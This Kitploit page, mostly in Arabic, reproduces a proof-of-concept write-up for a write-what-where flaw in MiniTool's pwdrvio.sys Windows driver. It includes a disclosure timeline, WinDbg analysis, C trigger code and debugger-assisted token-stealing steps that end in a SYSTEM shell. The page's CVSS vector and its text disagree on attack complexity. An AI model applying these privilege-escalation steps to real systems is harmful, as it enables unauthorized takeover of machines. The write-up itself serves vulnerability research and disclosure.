Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-36981-Kernel-EoP-PoC — مشروع بتاريخ: فبراير 2026 / ثغرة تلف في الذاكرة داخل برنامج تشغيل النواة الخاص بـ MiniTool. يوضح أسلوبًا بدائيًا لكتابة عشوائية في النواة بمساعدة مصحح الأخطاء يمكن استغلاله لتصعيد الامتيازات. | Kitploit
أدوات/GitHubGitHub/canomer/cve-2026-36981-kernel-eop-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالمصممي الأخطاءالاختبار العشوائيتحليل البرمجيات الخبيثةاستغلال الملفات الثنائية
GitHubcanomer/cve-2026-36981-kernel-eop-poc

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-36981-Kernel-EoP-PoC

مشروع بتاريخ: فبراير 2026 / ثغرة تلف في الذاكرة داخل برنامج تشغيل النواة الخاص بـ MiniTool. يوضح أسلوبًا بدائيًا لكتابة عشوائية في النواة بمساعدة مصحح الأخطاء يمكن استغلاله لتصعيد الامتيازات.

عرض المستودع
2منذ 3 أشهرلم تتم المراجعة بعد

CVE-2026-36981-Kernel-EoP-PoC

حالة كتابة-ما-تريد-أينما-تريد (write-what-where) داخل برنامج تشغيل النواة pwdrvio.sys الخاص بـ MiniTool. تُظهر أولية كتابة عشوائية للنواة بمساعدة مصحح الأخطاء يمكن استغلالها لتصعيد الامتيازات.

  • 2026-02-09 تم إخطار البائع
  • 2026-03-05 أقرّ البائع بالمشكلة
  • 2026-03-05 تم طلب CVE من MITRE
  • 2026-05-10 كشف عام بعد فترة الإفصاح المنسق البالغة 90 يومًا

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

كتابة عشوائية للنواة ← تصعيد الامتيازات المحلية (LPE) الخطورة: عالية
درجة CVSS 3.1: 7.8 (LPE) سلسلة ناقل CVSS:

  • LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    • أولية كتابة عشوائية للنواة بمساعدة مصحح الأخطاء يمكن استغلالها لتصعيد الامتيازات.
    • قابلة للاستغلال عبر أولية write-what-where عند إزاحة برنامج التشغيل 0x1641
    • تتطلب أدوات تصحيح أخطاء النواة لاستغلال موثوق
    • تم تأكيدها على Windows 10 Build 19045.6466

متطلبات الهجوم:

  • وصول محلي إلى النظام المستهدف
  • حساب مستخدم قياسي (غير مسؤول)
  • MiniTool مثبت أو غير مثبت (برنامج تشغيل pwdrvio.sys محمّل)

نتائج الاستغلال: LPE - تم إثبات تصعيد الامتيازات بمساعدة مصحح الأخطاء (NT AUTHORITY / SYSTEM)، اختراق كامل للنظام

الجدول الزمني لاكتشاف الثغرة

الفحص الأولي واكتشاف شاشة الموت الزرقاء (BSOD)

التاريخ: 5 فبراير 2026
النشاط: فحص منهجي لبرامج تشغيل النواة باستخدام أداة فحص Python مخصصة

عملية الاكتشاف:

  1. اختيار الهدف:

    • تعداد برامج تشغيل النواة المثبتة على جهاز Windows 10 الافتراضي
    • تحديد pwdrvio.sys كأقدم برنامج تشغيل (الطابع الزمني: 16 يونيو 2009)
    • ملف برنامج التشغيل: C:\Windows\System32\drivers\pwdrvio.sys
    • كائن الجهاز: \\.\PartitionWizardDiskAccesser\0
  2. الفحص الأولي:

    • تطوير أداة فحص Python باستخدام ctypes للتفاعل مع برنامج التشغيل
    • إرسال بيانات عشوائية عبر WriteFile/DeviceIoControl إلى جهاز برنامج التشغيل
    • النتيجة: شاشات موت زرقاء متعددة (BSOD)
  3. تفعيل المدقق:

    • تمكين Driver Verifier لتحسين اكتشاف الأعطال ```cmd verifier /standard /driver pwdrvio.sys
    root@kitploit:~

تكوين المدقق: ``` Verifier Flags: 0x001209bb Standard Flags Enabled: [X] Special pool [X] Force IRQL checking
[X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking

root@kitploit:~
### إعداد تصحيح أخطاء نواة WinDbg
**التاريخ:** 5-6 فبراير 2026  
**النشاط:** إنشاء بيئة تصحيح أخطاء النواة لتحليل السبب الجذري

**إجراء الإعداد:**

1. **تكوين المنفذ التسلسلي في VMware:**   ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
  1. تكوين نظام التشغيل الضيف: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0

    root@kitploit:~
  2. اتصال WinDbg بالمضيف: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓

    Result: "Kernel Debugger connection established."

    root@kitploit:~

تحليل السبب الجذري - اكتشاف الكتابة العشوائية

التاريخ: 6 فبراير 2026
النشاط: تحديد بدائية كتابة عشوائية في النواة

خطوات التحليل:

  1. تحليل الوحدة: ``` 1: kd> lm m pwdrvio start end module name fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)

    1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio

    DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060

    Dispatch Routines: [00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8 [03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404

    root@kitploit:~
  2. اكتشاف التعليمات القابلة للاستغلال:

    قم بتعيين نقطة توقف على معالج الكتابة: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g

    Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax

    root@kitploit:~

نتيجة حرجة: تم تحديد بدائية كتابة عشوائية!

  • التعليمات تكتب مؤشر النواة (RAX) إلى العنوان [R11-0x10]
  • يتم تحميل R11 من إطار المكدس: mov r11, qword ptr [rbp+0xB8h]
  • لا يتم إجراء أي تحقق من صحة عنوان الوجهة
  1. تحليل حالة السجلات: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame

    0: kd> dq @rbp+0xB8 L1 ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here

    root@kitploit:~

تحليل UAF إلى كتابة عشوائية

التاريخ: 6-7 فبراير 2026
النشاط: تتبع الثغرة من الاستخدام بعد التحرير إلى شرط الكتابة-ما-وأين

سلسلة تلف الذاكرة:

  1. تخصيص IRP: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets

    root@kitploit:~
  2. علاقة المخزن المؤقت: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location

    0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!

    root@kitploit:~

التحليل: المخزن المؤقت للمستخدم غير قابل للوصول المباشر من إطار RBP

  • يشير RBP إلى بنية IRP في تجمع النواة
  • المخزن المؤقت للمستخدم يقع في منطقة ذاكرة مختلفة
  • إزاحة RBP+0xB8 لا تشير إلى المخزن المؤقت الذي يتحكم فيه المستخدم
  1. حالة الاستخدام بعد التحرير (Use-After-Free):

    يبقي برنامج التشغيل مؤشرات معلقة في بنية IRP: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP

    // No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);

    // Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!

    root@kitploit:~

تطوير تصعيد الامتيازات المحلية

التاريخ: 7-8 فبراير 2026
النشاط: تطوير تقنية سرقة الرموز (Token Stealing)

استراتيجية الاستغلال:

الهدف: استبدال رمز العملية الحالي برمز SYSTEM

بنية EPROCESS في ويندوز:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location

root@kitploit:~
**إجراء سرقة الرمز المميز (Token):**

1. **تحديد عملية SYSTEM:**   ```
   0: kd> !process 4 0
   PROCESS ffffe7875ac86200
       SessionId: none  Cid: 0004    Peb: 00000000
       Image: System
   
   0: kd> dq ffffe7875ac86200+4b8 L1
   ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value
  1. تحديد عملية المهاجم: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe

    0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Standard user token

    root@kitploit:~
  2. حساب العنوان الهدف: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548

    Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target

    root@kitploit:~
  3. تنفيذ استبدال الرمز المميز (Token Overwrite): ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax

    0: kd> dq ffffe78760150538 L1 ; Verify ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!

    root@kitploit:~
  4. استعادة التنفيذ: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution

    root@kitploit:~

النتيجة: العملية الآن تمتلك صلاحيات SYSTEM!

الثغرة رقم 1: كتابة عشوائية في النواة تؤدي إلى تصعيد الامتيازات المحلية (LPE)

تصنيف CWE

  • CWE-787: كتابة خارج الحدود
  • CWE-123: شرط الكتابة أينما-متى (Write-what-where)
  • CWE-782: IOCTL مكشوف مع تحكم غير كافٍ في الوصول

تفاصيل الثغرة

الموقع: pwdrvio.sys الإزاحة 0x1641
التجميع:```assembly pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!

root@kitploit:~
**آلية التشغيل:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
                            GENERIC_READ | GENERIC_WRITE,
                            0, NULL, OPEN_EXISTING, 0, NULL);

char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

قيود الاستغلال:

تتطلب هذه الثغرة أدوات تصحيح أخطاء النواة لاستغلال موثوق لأن:

  1. تحدي التحكم في السجلات:

    • يتم تحميل سجل الوجهة R11 من [RBP+0xB8]
    • يشير RBP إلى إطار مكدس IRP في تجمع النواة
    • المخزن المؤقت للمستخدم في منطقة ذاكرة مختلفة (إزاحة 35MB+)
    • لا يمكن التحكم مباشرة في [RBP+0xB8] من المخزن المؤقت للمستخدم
  2. تخطيط ذاكرة التجمع: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)

    root@kitploit:~
  3. التدخل اليدوي المطلوب:

    • اضبط سجل R11 على العنوان المستهدف عبر مصحح الأخطاء
    • اضبط سجل RAX على قيمة رمز SYSTEM
    • نفّذ التعليمات
    • استعد تدفق التنفيذ

درجة CVSS 3.1: 7.8 (عالية)

المقاييس:

  • متجه الهجوم (AV): محلي - يتطلب وصولاً محلياً إلى النظام
  • تعقيد الهجوم (AC): منخفض - لا توجد شروط خاصة مطلوبة
  • الامتيازات المطلوبة (PR): منخفضة - مستخدم قياسي كافٍ
  • تفاعل المستخدم (UI): لا شيء - لا يتطلب تفاعلاً من المستخدم
  • النطاق (S): غير متغير - نفس سلطة الأمان
  • السرية (C): عالية - وصول كامل إلى نظام الملفات
  • السلامة (I): عالية - تعديل كامل للنظام
  • التوفر (A): عالية - يمكن أن يتسبب في تعطل النظام أو تعطيله

الكود الكامل والاستغلال

الكود:``` C #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");

// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
    return 1;
}

printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");

getchar(); // Breakpoint of WinDbg

// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Completed. SYSTEM Shell Opening...\n");

// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");

return 0;

}

root@kitploit:~
**طريقة الترجمة:**
* MinGW على لينكس```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static

عملية WinDbg:

  • عندما تم تفعيل نقطة الإيقاف لدينا``` 1: kd> bp pwdrvio+0x1641 1: kd> g Breakpoint 0 hit Unable to load image pwdrvio.sys, Win32 error 0n2 pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax 1: kd> !process 0 0 poc1.exe PROCESS ffff9d8f6401f080 SessionId: 1 Cid: 1948 Peb: 27a2a7000 ParentCid: 16ac DirBase: 1b2528000 ObjectTable: ffffc2093fb93140 HandleCount: 58. Image: poc1.exe

1: kd> dq ffff9d8f6401f080+4b8 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> !process 4 0 Searching for Process with Cid == 4 PROCESS ffff9d8f5f069040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517. Image: System

1: kd> dq ffff9d8f5f069040+4b8 L1 ffff9d8f5f0694f8 ffffc2093441d8df 1: kd> r rax = ffffc2093441d8df 1: kd> r r11 = ffff9d8f6401f538 + 10 1: kd> p pwdrvio+0x1645: fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df 1: kd> r rip = pwdrvio + 0x165f 1: kd> r eax = 0 1: kd> bc * 1: kd> g

root@kitploit:~
**مخرجات الطرفية:**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State
============================= ================================== ========
SeShutdownPrivilege           Sistemi kapat                      Disabled
SeChangeNotifyPrivilege       Çapraz geçiş denetimini atla       Enabled
SeUndockPrivilege             Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır       Disabled
SeTimeZonePrivilege           Saat dilimini değiştir             Disabled

PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups

GROUP INFORMATION
-----------------

Group Name                                                Type             SID          Attributes                      
========================================================= ================ ============ ==================================================
Everyone                                                  Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114    Group used for deny only        
BUILTIN\Administrators                                    Alias            S-1-5-32-544 Group used for deny only        
BUILTIN\Users                                             Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                  Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA                                       Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                          Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                            Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap                                  Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                     Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                          Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey                         Label            S-1-16-8192                                  
PS C:\Users\standarduser\directory>

PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.

[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.

C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system

C:\Users\standarduser\directory>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                                     State
========================================= =============================================================================== ========
SeCreateTokenPrivilege                    Belirteç nesnesi oluştur                                                        Disabled
SeAssignPrimaryTokenPrivilege             İşlem düzeyi belirtecini değiştir                                               Disabled
SeLockMemoryPrivilege                     Sayfaları bellekte kilitle                                                      Enabled
SeIncreaseQuotaPrivilege                  İşlem için bellek kotaları ayarla                                               Disabled
SeTcbPrivilege                            İşletim sisteminin parçası gibi davran                                          Enabled
SeSecurityPrivilege                       Denetimi ve güvenlik günlüğünü yönet                                            Disabled
SeTakeOwnershipPrivilege                  Dosyaların veya diğer nesnelerin sahipliğini al                                 Disabled
SeLoadDriverPrivilege                     Aygıt sürücüleri yükle ve kaldır                                                Disabled
SeSystemProfilePrivilege                  Sistem performansı profili oluştur                                              Enabled
SeSystemtimePrivilege                     Sistem saatini değiştir                                                         Disabled
SeProfileSingleProcessPrivilege           Tek işlem profili oluştur                                                       Enabled
SeIncreaseBasePriorityPrivilege           Zamanlama önceliğini artır                                                      Enabled
SeCreatePagefilePrivilege                 Disk belleği dosyası oluştur                                                    Enabled
SeCreatePermanentPrivilege                Kalıcı paylaşılan nesneler oluştur                                              Enabled
SeBackupPrivilege                         Dosya ve dizinleri yedekle                                                      Disabled
SeRestorePrivilege                        Dosya ve dizinleri geri yükle                                                   Disabled
SeShutdownPrivilege                       Sistemi kapat                                                                   Disabled
SeDebugPrivilege                          Programların hatalarını ayıkla                                                  Enabled
SeAuditPrivilege                          Güvenlik denetimleri oluştur                                                    Enabled
SeSystemEnvironmentPrivilege              Üretici yazılımı ortam değerlerini değiştir                                     Disabled
SeChangeNotifyPrivilege                   Çapraz geçiş denetimini atla                                                    Enabled
SeUndockPrivilege                         Bilgisayarı takma biriminden çıkar                                              Disabled
SeManageVolumePrivilege                   Birim bakım görevleri gerçekleştir                                              Disabled
SeImpersonatePrivilege                    Kimlik doğrulamasından sonra istemcinin özelliklerini al                        Enabled
SeCreateGlobalPrivilege                   Genel nesneler oluştur                                                          Enabled
SeTrustedCredManAccessPrivilege           Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş                     Disabled
SeRelabelPrivilege                        Nesne etiketini değiştir                                                        Disabled
SeIncreaseWorkingSetPrivilege             İşlem çalışma kümesini artır                                                    Enabled
SeTimeZonePrivilege                       Saat dilimini değiştir                                                          Enabled
SeCreateSymbolicLinkPrivilege             Simgesel bağlantılar oluştur                                                    Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled

C:\Users\standarduser\directory>whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label            S-1-16-16384

إثبات المفهوم وخطوات إعادة الإنتاج

المتطلبات الأساسية

بيئة الاختبار:

  • نظام التشغيل: Windows 10 Home Build 19045.6466
  • البنية: x64
  • إصدار MiniTool: Partition Wizard 13.5
  • برنامج التشغيل: pwdrvio.sys (بتاريخ 16 يونيو 2009)
  • حساب المستخدم: مستخدم قياسي (غير مسؤول)

الأدوات المطلوبة:

  • لتصعيد الامتيازات المحلية (LPE): WinDbg (مصحح أخطاء Windows)، VMware Workstation

إعادة الإنتاج #2: تصعيد الامتيازات المحلية (بمساعدة WinDbg)

الخطوة 1: إعداد بيئة تصحيح أخطاء النواة

أ. إعداد VMware

  1. افتح إعدادات الجهاز الافتراضي في VMware Workstation Pro
  2. أضف جهازًا → منفذ تسلسلي (Serial Port)
  3. قم بالتكوين:
    • الاتصال: "Use named pipe" (استخدام قناة مسماة)
    • القناة المسماة: \\.\pipe\com_1
    • الطرف: "This is the server" (هذا هو الخادم)
    • الطرف الآخر: "An application" (تطبيق)
    • وضع الإدخال/الإخراج: ✓ Yield CPU on poll (تسليم المعالج عند الاستقصاء)
  4. احفظ وابدأ تشغيل الجهاز الافتراضي

ب. إعداد نظام التشغيل الضيف```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.

C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.

C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200

C:> shutdown /r /t 0

root@kitploit:~
**ج. إعداد WinDbg على المضيف**

1. افتح WinDbg (x64)
2. ملف ← تصحيح النواة (Ctrl+K)
3. قم بالتكوين:
   - التبويب: COM
   - المنفذ: `\\.\pipe\com_1`
   - معدل الباود: 115200
   - ✓ Pipe
   - ✓ Reconnect
4. انقر فوق OK

انتظر رسالة الاتصال:```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.

1: kd>

الخطوة 2: تجميع إثبات المفهوم

احفظه باسم lpe_poc.c:```c #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");

// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
    return 1;
}

printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");

getchar();  // Wait for WinDbg setup

// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");

// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");

CloseHandle(hDevice);
return 0;

}

root@kitploit:~
**الترجمة على لينكس/WSL:**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static

الخطوة 3: تنفيذ الاستغلال

أ. تشغيل PoC في الجهاز الافتراضي (مستخدم قياسي)```cmd C:> whoami desktop-lfkkhu2\standard_user

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

[Limited privileges - no SeDebugPrivilege]

C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...

[WAIT - Do not press ENTER yet]

root@kitploit:~
**ب. إعداد WinDbg ومعالجته**```
1: kd> bp pwdrvio+0x1641
1: kd> g

الآن اضغط ENTER في الـ PoC. سيتوقف WinDbg عند نقطة توقف:``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax

0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20

root@kitploit:~
**ج. تحديد موقع عملية النظام ورمز الوصول (Token)**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffffc08e66444c80  HandleCount: 2471
    Image: System

0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value

د. تحديد موقع عملية المهاجم``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe

0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)

root@kitploit:~
**هـ - تنفيذ استبدال الرمز المميز (Token Overwrite)**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10

0: kd> r r11
r11=ffffe78760150548

0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440      lea rax,[rsp+40h]

0: kd> dq ffffe78760150538 L1
ffffe787`60150538  ffffc08e`6642f04f  ← Token successfully changed!

و. استعادة التنفيذ``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g

root@kitploit:~
**ج. التحقق من تصعيد الامتيازات في الجهاز الافتراضي**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system

Microsoft Windows [Version 10.0.19045.6466]

C:\> whoami
nt authority\system

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                          State
========================================= ==================================== ========
SeCreateTokenPrivilege                    Create a token object                Disabled
SeAssignPrimaryTokenPrivilege             Replace a process level token        Disabled
SeLockMemoryPrivilege                     Lock pages in memory                 Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process   Disabled
SeTcbPrivilege                            Act as part of the operating system  Enabled
SeSecurityPrivilege                       Manage auditing and security log     Disabled
SeTakeOwnershipPrivilege                  Take ownership of files/objects      Disabled
SeLoadDriverPrivilege                     Load and unload device drivers       Disabled
SeSystemProfilePrivilege                  Profile system performance           Enabled
SeSystemtimePrivilege                     Change the system time               Disabled
SeProfileSingleProcessPrivilege           Profile single process               Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority         Enabled
SeCreatePagefilePrivilege                 Create a pagefile                    Enabled
SeCreatePermanentPrivilege                Create permanent shared objects      Enabled
SeBackupPrivilege                         Back up files and directories        Disabled
SeRestorePrivilege                        Restore files and directories        Disabled
SeShutdownPrivilege                       Shut down the system                 Disabled
SeDebugPrivilege                          Debug programs                       Enabled  ← SYSTEM!
SeAuditPrivilege                          Generate security audits             Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values   Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking             Enabled
SeUndockPrivilege                         Remove computer from docking         Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks     Disabled
SeImpersonatePrivilege                    Impersonate a client after auth      Enabled
SeCreateGlobalPrivilege                   Create global objects                Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as trusted Disabled
SeRelabelPrivilege                        Modify an object label               Disabled
SeIncreaseWorkingSetPrivilege             Increase a process working set       Enabled
SeTimeZonePrivilege                       Change the time zone                 Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users      Enabled

C:\> whoami /groups

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone                             Well-known group S-1-1-0      Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label          S-1-16-16384 ← SYSTEM integrity!

